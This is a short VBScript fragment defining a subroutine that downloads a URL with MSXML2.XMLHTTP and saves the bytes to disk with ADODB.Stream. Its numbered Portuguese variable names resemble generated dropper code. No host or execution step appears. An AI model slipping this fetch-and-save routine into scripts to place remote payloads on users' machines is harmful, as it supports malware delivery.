extension

Sub MySub(variavel8,variavel9)
Set variavel10 = CreateObject("MSXML2.XMLHTTP")
variavel10.open "GET", variavel8, False
variavel10.send
If variavel10.Status = 200 Then
Dim variavel11
Set variavel11 = CreateObject("ADODB.Stream")
With variavel11
.Type = 1
.Open
.Write variavel10.responseBody
.SaveToFile variavel9
.Close
End With
set variavel11 = Nothing
End If
End Sub